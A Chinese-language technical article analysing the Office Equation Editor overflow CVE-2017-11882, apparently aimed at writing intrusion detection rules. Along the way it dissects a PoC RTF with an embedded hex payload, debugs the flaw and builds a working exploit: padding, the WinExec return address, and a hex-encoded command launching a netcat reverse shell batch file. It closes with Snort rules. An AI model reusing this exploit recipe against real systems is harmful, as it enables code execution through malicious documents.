您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關Microsoft Office內存損壞漏洞CVE-2017-11882指的是什么,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
下面分析了CVE-2017-11882 poc樣本的文件結構,在分析poc樣本時介紹了rtf文件、Equation Native數據結構、MTEF流數據結構、FONT記錄數據結構的基本知識。在分析完poc樣本后,通過windbg、IDA分析、調試了漏洞。在漏洞調試分析的基礎上給出了漏洞exploit編寫過程。通過poc樣本分析、漏洞調試、exploit編寫等過程掌握了漏洞詳情,提取了漏洞特征。根據漏洞特征及poc樣本網絡傳輸中的IP數據包分析,編寫了針對CVE-2017-11882的漏洞利用入侵檢測規則。在編寫規則中總結了2條漏洞利用入侵檢測規則的編寫準則。
CVE-2017-11882漏洞在office處理公式時觸發。Office公式為OLE對象,office在處理公式時會自動調用模塊EQNEDT32.EXE來處理這類OLE對象。在EQNEDT32.EXE程序中,存在處理公式對象的字體tag時對字體名長度未驗證的漏洞。漏洞導致棧溢出,可以覆蓋函數的返回地址,從而執行惡意代碼。
python2017-11882_Generator.py -x "cmd /c calc" -o test.rtf
python2017-11882_Generator.py下載地址:https://github.com/BlackMathIT/2017-11882_Generator
RTF文件由未格式化本文、控制字、控制符和組組成,包含文件頭和文檔格式為:{ <header><document>}兩部分。
控制字最長32個字符。控制字的使用格式如下:
\字母序列<分隔符>
分隔符為:空格、數字、連接符“-”、任何非字母和數字的其他字符(此時字符不是控制字的部分)。
控制字一般不含大寫字母,但有部分例外。
控制符由一個反斜線\跟隨單個非字母字符組成。例如,\~代表一個不換行空格。控制符不需要分隔符。
組由包括在一對大括號“{}”中的文本、控制字或控制符組成。左擴號“{”表示組的開始,右擴號“}”表示組的結束。
字體、文件、格式、屏幕顏色、校訂標記,以及摘要信息組、文檔格式屬性,一定要在文件的第一純文本字符之前,字體組在格式組之前。這些組形成RTF的文件頭。
2.2.1. 文件頭<header>
RTF文件必須緊跟著左括號之后標明RTF版本號,RTF頭部需要指定支持的字符集,字符集控制字必須在任何純文本或任何表控制字之前。
RTF頭內容:
RTF版本,\rtfN,如:\rtf1
字符集<charset>,如:\ansi
UnicodeRTF ,用來執行Unicode向ANSI轉換的ANSI代碼頁。如:\ansicpg1252
默認字體<deffont>,默認字體號\deff? ,如:\deff0
字體表<fonttbl>
文件表<filetbl>?
顏色表<colortbl>?
樣式表<stylesheet>?
編目表<listtables>?
編目表{ \*\listtable }
編目替換表{ \*\listoverridetable }
段落組屬性{ \*\pgptbl }
跟蹤修訂<revtbl>?
RSID表<rsidtable>?
生成器信息<generator>?
2.2.1.1. AnsicpgN定義字體
如Ansicpg1252表示字體是拉丁文,1252是拉丁文字體在ansi中的頁碼。
字體對應頁碼表:
·874 (ANSI/OEM -泰文)
·932 (ANSI/OEM -日文Shift-JIS)
·936 (ANSI/OEM -簡體中文GBK)
·949 (ANSI/OEM -韓文)
·950 (ANSI/OEM -繁體中文Big5)
·1250 (ANSI -中歐)
·1251 (ANSI -西里爾文)
·1252 (ANSI -拉丁文)
·1253 (ANSI -希臘文)
·1254 (ANSI -土耳其文)
·1255 (ANSI -希伯來文)
·1256 (ANSI -阿拉伯文)
·1257 (ANSI -波羅的海文)
·1258 (ANSI/OEM -越南)
2.2.1.2. 生成器(\*\generator)
為文檔加上戳記,包括其名稱、版本、生成號等。生成器區域使用如下語法:
‘{‘ \*\generator <name> ‘;’ ‘}’,
其中<name> #PCDATA,可以包括:程序名、版本、生成號以及其他與生成程序相關的能夠列在這里的任何信息。該區域中只允許使用ASCII文本。
生成器例子:
{\*\generator Riched20 6.3.9600}
2.2.2. 文檔區<document>
2.2.2.1. 文檔區的語法
<document> <info>? <docfmt>* <section>+
文檔區由信息組、文檔格式屬性、節文本、段落文本、字符文本、對象、圖片等組成
2.2.2.2. 信息組語法
信息組(可以沒有),控制字\info引入了信息組,信息組包含了文檔的相關信息。這些信息包括:標題、作者、關鍵字、注釋和文件的其它特定信息。
2.2.2.3. 文檔格式屬性
在信息組的后面(可以沒有),是一些文檔格式控制字(在文檔區語法描述中使用<docfmt>描述)。這些控制字指明了文檔的屬性,必須要在文檔的第一個純文本字符之前。
如:\deflang1033(定義文檔使用的默認語言),\viewkind4(定義文檔視圖模式)
2.2.2.4. 段落文本屬性
段落有兩種類型:純文本和表。如:\pard\sa200\sl276\slmult1\f0\fs22\lang9
2.2.2.5. 字符文本屬性
這些屬性指定字體(字符)格式,重置文檔語言。如:\f0\fs22\lang9
2.2.2.6. 對象
對象是一個包含數據和一個結果的目標引用。當對象為一個OLE嵌入對象或者鏈接對象時,其數據部分采用OLESaveToStream函數生成的結構體。
如:\object\objemb,指定對象為嵌入式ole對象。
\objupdate,強制對象在顯示前更新。
\objw,對象寬度
Objh,對象高度
Equation Native流數據 = EQNOLEFILEHDR + MTEFData,其中
MTEFData = MTEFheader + MTEF Byte Stream
EQNOLEFILEHDR頭結構(共28字節)
struct EQNOLEFILEHDR{ WORD cbHdr; // 格式頭長度,固定為0x1C(28字節)。 DWORD version; // 固定為0x00020000。 WORD cf; // 該公式對象的剪貼板格式。 DWORD cbObject; // MTEF數據的長度,不包括頭部。 DWORD reserved1; // 未公開 DWORD reserved2; // 未公開 DWORD reserved3; // 未公開 DWORD reserved4; // 未公開};
MTEF header結構
struct MTEF_HEADER { BYTE bMtefVersion; // MTEF版本號,一般為0x03 BYTE bPlatform; // 系統生成平臺,0x00為Mac生成,0x01為Windows生成 BYTE bProduct; // 軟件生成平臺,0x00為MathType生成,0x01為公式編輯器生成 BYTE bProductVersion; // 產品主版本號 BYTE bProductSebVersion; // 產品副版本號 };
MTEF Byte Stream的結構
initial SIZE record:記錄的初始SIZE
PILE or LINE record:一個PILE或LINE record tag
contents of PILE or LINE :PILE或LINE的實際內容,往往是一個其他記錄(記錄見下表)
END record:記錄結束
各種record的類別如下:
其中FONT記錄及FONT內容結構如下:
struct stuFontRecord { BYTE bTag; // 字體文件的tag位0x08 BYTE bTypeFace; // 字體風格 BYTE bStyle; // 字體樣式 BYTE bFontName[n] // 字體名稱,以NULL為結束符 };
字段 | 值 | 說明 |
Tag | 0×08 | 1字節,固定為0×08 |
tface | typeface number | 1字節,Typeface編號 |
style | 1或者2 | 1字節,1表示斜體,2表示粗體 |
name | Font name (null-terminated) | 字體名字,以Null結尾 |
2.4.1. poc樣本rtf結構分析
{\rtf1\ansi\ansicpg1252\deff0{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
{\*\generatorRiched20 6.3.9600} //文件頭,包含版本信息、字符集、支持字符、缺省字體、字體表、生成器
\deflang1033 \viewkind4 //文檔區,信息組沒有,文檔格式屬性
\pard\sa200\sl276\slmult1 //段落文本屬性
\f0\fs22\lang9 //字符文本屬性,然后下面是一個嵌入式對象,該對象//是一個公式對象
{\object\objemb\objupdate // 此處控制字\objupdate自動更新ole對象
{\*\objclassEquation.3} //此處說明是公式對象
\objw380\objh360{\*\objdata01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff09000600000000000000000000000100….
….. //中間數據省略
…..0000000000000000000000000000000000000000000000000000000000000000000000000000
//以下數據是Equation Native流數據,此數據流下章節分析1c00000002009ec4a900000000000000c8a75c00c4ee5b0000000000030101030a0a01085a5a636d64202f632063616c63202641414141414141414141414141414141414141414141414141414141414141120c4300000000000000000000000000000000000000000048008a01ffffffff7cef1800040000002d01010004000000f0010000030000000000….//省略
}
//對象區\result結果對象控制字,結果目標包含了該對象的最后更新結果。這樣//允許那些不能識別對象或者不能使用該特定類型對象的舊的RTF閱讀器使用當//前的對象值來替換該對象,從而保持其外觀顯示。
{\result{\pict{\*\picprop}\wmetafile8\picw380\pich360\picwgoal380\pichgoal260
….//省略000f0010000030000000000}}}
\par} //\par插入一個段落標志
其中,\objupdate控制字來保證OLE對象的自動更新和加載,從而觸發漏洞代碼執行。默認狀態下Office文檔中的OLE Object需要用戶雙擊才能生效。將OLE Object的屬性為自動更新,這樣無需交互,點擊打開文檔后OLE Object對象會生效,從而執行惡意代碼。
該poc是一個包含Equation Native對象的rtf,而惡意代碼在Equation Native對象中。
2.4.2. poc樣本ole對象分析
2.4.2.1. poc Equation Native對象分析
2.4.2.1.1. 對文檔提取ole對象
2.4.2.1.2.查看ole對象的目錄結構
可以看到ole對象中包含了Equation Native對象
2.4.2.1.3. 使用olebrowse查看Equation Native對象
2.4.2.1.4. 樣本Equation Native頭
結合Equation Native頭結構,分析樣本Equation Native頭為:
偏移量 | 變量名 | 說明 | 值 |
0-1 | cbHdr | 公式頭大小 | 0x001C(28字節) |
2-5 | version | 版本號 | 0x00020000 |
6-7 | cf | 剪貼板格式 | 0xC49E |
8-11 | cbObject | MTEF數據長度 | 0xA9,即169字節 |
12-15 | reserved1 | 未公開 | 0x00000000 |
16-19 | reserved2 | 未公開 | 0x005CA7C8 |
20-23 | reserved3 | 未公開 | 0x005BEEC4 |
24-27 | reserved4 | 未公開 | 0x00000000 |
2.4.2.1.5. poc MTEF header
偏移量 | 說明 | 值 |
0 | MTEF版本號 | 0x03 |
1 | 該數據的生成平臺 | 0x01表示Windows平臺生成 |
2 | 該數據的生成產品 | 0x01表示由公式編輯器生成 |
3 | 產品主版本號 | 0x03 |
4 | 產品副版本號 | 0x0A |
2.4.2.1.6. poc MTEF Byte Stream數據
樣本中前兩字節是Font記錄的初始size值(0a),接著是一個line size記錄(值為01),這是MTEF Byte Stream的結構要求。
在這2字節后就是line記錄內容,一個字體記錄
數值 | 解釋 |
0x08 | FONT記錄標志 |
0x5a | typeface類型 |
0x5a | 字體風格 |
0x636D6420…… | 字體名(以空字符結尾),即圖9中的cmd.exe…字符串 |
啟動注冊表,在注冊表項HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE
中設置debugger為windbg
增加一個DWORD: DisableExceptionChainValidation 值為0
增加一個字符串: debugger值為(調試器安裝路徑):E:\WinDDK\7600.16385.1\Debuggers\windbg.exe
Word打開test.rtf文檔,處理公式時自動啟動EQNEDT32.EXE,從而打開windbg調試程序
3.3.1. 在WinExec設置斷點
因為windows調用外部命令一般使用winexec函數,在此處設置斷點,bp Kernel32!WinExec
3.3.2. 查看堆棧
使用db esp命令查看當前堆棧數據,可以看到winexec后調用了計算器,說明是利用winexec執行了漏洞利用
執行kb進行堆棧回溯
WARNING: Stackunwind information not available. Following frames may be wrong.0012f1cc 00430c180012f350 00000000 0012f1ec kernel32!WinExec0012f210 004218e40012f350 0012f5e0 0012f7e4 EqnEdt32!MFEnumFunc+0x241b
通過堆棧回溯我們可以看到觸發WinExec調用的上級函數返回地址在:0x4218e4.
通過使用IDA Pro逆向EQNEDT32.exe我們可以看到地址0x4218e4在函數sub_421774中,且是函數sub_4115A7函數調用后返回后程序執行指令地址。
也就是說winexec由函數sub_4115A7調用,因此,在0x4218df設置斷點,調試程序。
重新讀取poc
設置斷點,然后g執行
0:000> bp 0x4218df
查看堆棧信息,可以看到此時是將字體名字符串傳遞給函數sub_4115a7處理,此時EAX寄存器存儲的是字體名稱字符。Eax地址12f350
此時EAX寄存器恰好是傳遞給函數sub_4115a7的參數,而值為MTEF字節流中Font結構體的字體名,說明函數處理的恰好是字體名數據。逆向sub_4115a7的結果為:
BOOL __cdeclsub_4115A7(LPCSTR lpFontName){ CHAR String2; // [sp+Ch] [bp-24h]@2 return strlen(lpFontName) != 0 &&sub_41160F((char *)lpFontName, 0, (int)&String2) &&!lstrcmpA(lpFontName, &String2);}
說明sub_4115A7函數調用sub_41160F將字體名復制到String2變量中。
設置sub_4115a7調用完畢后的地址為斷點,bp 4115d8,然后g執行,程序直接彈出計算器。說明函數sub_4115a7在執行完sub_41160F后沒有正常返回。
也就說明函數sub_41160F的返回地址被覆蓋了。我們看逆向后的sub_41160F函數也可以說明前面的分析。
int __cdeclsub_41160F(char *lpFontName, char *a2, int lpdstStr){ int result; // eax@12 char v4; // [sp+Ch] [bp-88h]@5 char cMtef_Byte_Stream; // [sp+30h][bp-64h]@4 __int16 v6; // [sp+51h] [bp-43h]@5 char *v7; // [sp+58h] [bp-3Ch]@7 int v8; // [sp+5Ch] [bp-38h]@1 __int16 nFontNameLen; // [sp+60h] [bp-34h]@1 int v10; // [sp+64h] [bp-30h]@1 __int16 v11; // [sp+68h] [bp-2Ch]@1 char v12; // [sp+6Ch] [bp-28h]@1 int v13; // [sp+90h] [bp-4h]@1 LOWORD(v13) = -1; LOWORD(v8) = -1; nFontNameLen = strlen(lpFontName); strcpy(&v12, lpFontName); //沒有驗證lpFontName長度 _strupr(&v12); v11 = sub_420FA0(); LOWORD(v10) = 0; while ( v11 > (signed __int16)v10 ) //處理MTEF byte stream { if ( read_MTEF_Byte_Stream(v10,&cMtef_Byte_Stream) ) { strcpy(&v4, &cMtef_Byte_Stream); if ( v6 == 1 ) _strupr(&v4); v7 = strstr(&v4, lpFontName); // 判斷lpFontName是否v4的子串,由此推測if語句中的函數讀取MTEF Byte Stream信息 if ( v7 || (v7 = strstr(&v4,&v12)) != 0 ) //如果MTEF byte stream包含字體名 { if ( !a2 || !strstr(&v4, a2) ) //本次函數未執行,因為a2=0 { if ( (signed__int16)strlen(&cMtef_Byte_Stream) == nFontNameLen ) { strcpy((char *)lpdstStr,&cMtef_Byte_Stream); return 1; } if ( v7 == &v4 ) LOWORD(v8) = v10; else LOWORD(v13) = v10; } } } LOWORD(v10) = v10 + 1; } //TEF byte stream讀取結束//本次poc中v8<0,所以只有“strcpy(&v12, lpFontName);”這個復制語句執行了,其他復制語句未執行。因此是由v12局部變量復制中未校驗長度,導致v12復制數據覆蓋了函數返回地址 if ( (signed __int16)v8 < 0 ) { if ( (signed __int16)v13 < 0 ) { result = 0; } else { read_MTEF_Byte_Stream(v13,&cMtef_Byte_Stream); strcpy((char *)lpdstStr,&cMtef_Byte_Stream); result = 1; } } else { read_MTEF_Byte_Stream(v8,&cMtef_Byte_Stream); strcpy((char *)lpdstStr, &cMtef_Byte_Stream);result= 1; } return result;}
然后我們重新啟動poc,先在4218df下斷點,g執行,然后在函數sub_41160F內下斷點
bp 4218e4
然后在4115d3處(此處調用sub_41160F函數)下斷點,按g
bp 4115d8,繼續單步跟蹤到函數sub_41160F,然后下斷點,bp 411658
查看此時的esi和edi數據,函數sub_41160F完成將[esi]中字體組字體名數據復制到[edi]中
通過分析我們發現函數sub_41160F在411658處處理字體名稱復制,并且字體名稱復制完成后,字體名稱字符串會覆蓋函數的返回地址,而sub_41160F的返回指令為411874。我們在sub_41160F的返回指令處設置斷點,然后觀察函數返回后執行到何處。
bp 411874 (在清除前面設置的斷點后,bc * ), >然后g執行,然后單步跟蹤,可以看到函數sub_41160F返回時跳轉到地址4c0312處。
然后單步跟蹤進入winexec進程,在地址75f5e6a5處,我們查看eax,可以看到傳給函數的參數,包含了cmd /c calc.
繼續F10將彈出計算器
根據前面漏洞分析及poc樣本分析,我們開始自己的漏洞利用poc構建過程。漏洞發生在處理struct stuFontRecord結構體的bFontName[n]字段時。
我們看程序給目標字符串分配的空間
分配的空間是:0x28-0x4=0x24,也就是說覆蓋超過0x24空間的長度后會產生溢出。而r程序返回地址在距dstStr:0x24+0x4+0x4=0x2c處,也就是在需要0x2c+4=48個字節,覆蓋程序的返回地址,也就是96個字符組成的字符串。
我們構造如下結果字符串
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
覆蓋后字體部分如下:
執行poc,可以看到此時ip指針剛好返回到bbbbbbbb,說明這個地方剛好覆蓋函數的返回地址
然后我們將bbbbbbbb替換成winexec地址,我們可以看到winexec地址在:0x430c12
因此,我們將bbbbbbbb替換為:120c4300,替換后樣本字體部分如下:
執行樣本會發現winexec已經執行,因為程序已經執行過地址:430C2F的指令
然后將剩下部分替換為可執行命令(假設e:盤已存在一個名為test.bat的文件,該文件反向連接到攻擊端,系統存在netcat程序)
cmd /c e:/test.bat
16進制轉化后為:636d64202f6320653a2f746573742e6261742026,不夠48字節(96字符)使用“41”填充。
替換后poc字體部分如下:
然后執行poc,攻擊端信息如下:
特征1:” \object\objemb\objupdate” ,自動更新嵌入式對象,觸發惡意代碼執行,在poc中偏移量0xD6
特征2:” \objclass Equation.3” ,公式對象,因為漏洞是微軟公式處理漏洞,>2000(4708)字節后是特征3,偏移量是0x133A
特征3:” 1c0000000200” , Equation Native頭不變部分,45個字節后是特征4,偏移量0x1345
特征4:”03或02或01”, MTEF版本號,6字節后是特征5,偏移量0x1372
特征5:“08” ,字體tag,必須,50字節后是特征6,偏移量0x1380,字體tag后有2字節后才是字體名。由于rtf文件中字體名填充的字節是16進制形式表示,一個字節2個字符,因此時間字節數偏移量是 0x13e4-0x1380=100
特征6:” |30|” , 字體名大于44長度后產生溢出,緊接著是4個字節的返回地址然后是空字節|30|,偏移量0x13e4
通過IP包我們可以看到:漏洞特征分布在2個分片中,因此完整匹配漏洞需要進行流追蹤,這里通過flowbits設置關鍵字來進行追蹤。通過對IP包分析及前面漏洞特征我們針對漏洞編寫如下檢測規則(規則分為rtf文件、rtf文件objupdate流識別,rtf漏洞利用識別兩個規則;因為snort實現對文件漏洞利用的檢測需要先識別數據包是對應rtf類型的文件,及文件流中的”\objupdate”和“|5C|objclass Equation|2e|3”,然后才能識別漏洞利用真實攻擊特征):
alert tcp$EXTERNAL_NET any -> $HOME_NET any (msg:"FILE-OFFICE Microsoft EquationNative autoupdate find--toserver"; flow:to_server,established;content:"|7b 5c 72 74 66|";content:"|5C|object|5C|objemb|5C|objupdate"; nocase;content:"|5C|objclass Equation|2e|3"; nocase; fast_pattern;flowbits:set,rtf_autoupdate; flowbits:noalert; metadata:policy balanced-ips drop,policy security-ips drop, service ftp-data, service http, service imap, servicepop3; reference:cve,2017-11882; classtype:misc-activity; sid:2018000009;rev:1;)alert tcp$EXTERNAL_NET any -> $HOME_NET any (msg:"FILE-OFFICE Microsoft EquationNative Fontname parsing buffer overflow attempt--toserver";flow:to_server,established; flowbits:isset,rtf_autoupdate;content:"1c0000000200"; pcre:"/(03|02|01)/";content:"08"; distance:6; content:"|30|"; distance:100;metadata:policy balanced-ips drop, policy security-ips drop, service ftp-data,service http, service imap, service pop3; reference:cve,2017-11882;classtype:attempted-user; sid:2018000010; rev:1;)
我們使用上傳poc rtf文件到ftp服務器,然后wireshark截取的數據包,進行重放,然后使用snort檢測,檢測結果如下:
1) 漏洞利用入侵檢測規則編寫第一準則:針對漏洞特征編寫漏洞利用入侵檢測規則,而不是針對具體攻擊。(如:我們本次的規則,針對的是漏洞特點:必須的對象,字體名長度超過48字節等。我們沒有使用返回地址,也沒有使用winexec\cmd等等具體命令,因為這些都可以變化。)
2) 漏洞利用入侵檢測規則編寫第二準則:如果需要針對攻擊編寫檢測規則,就針對攻擊模式編寫入侵檢測規則,而不是針對具體漏洞利用命令或語句。(準則二和準則一不矛盾,攻擊模式本質上是漏洞條件的外在的表現模式。)
以上就是Microsoft Office內存損壞漏洞CVE-2017-11882指的是什么,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。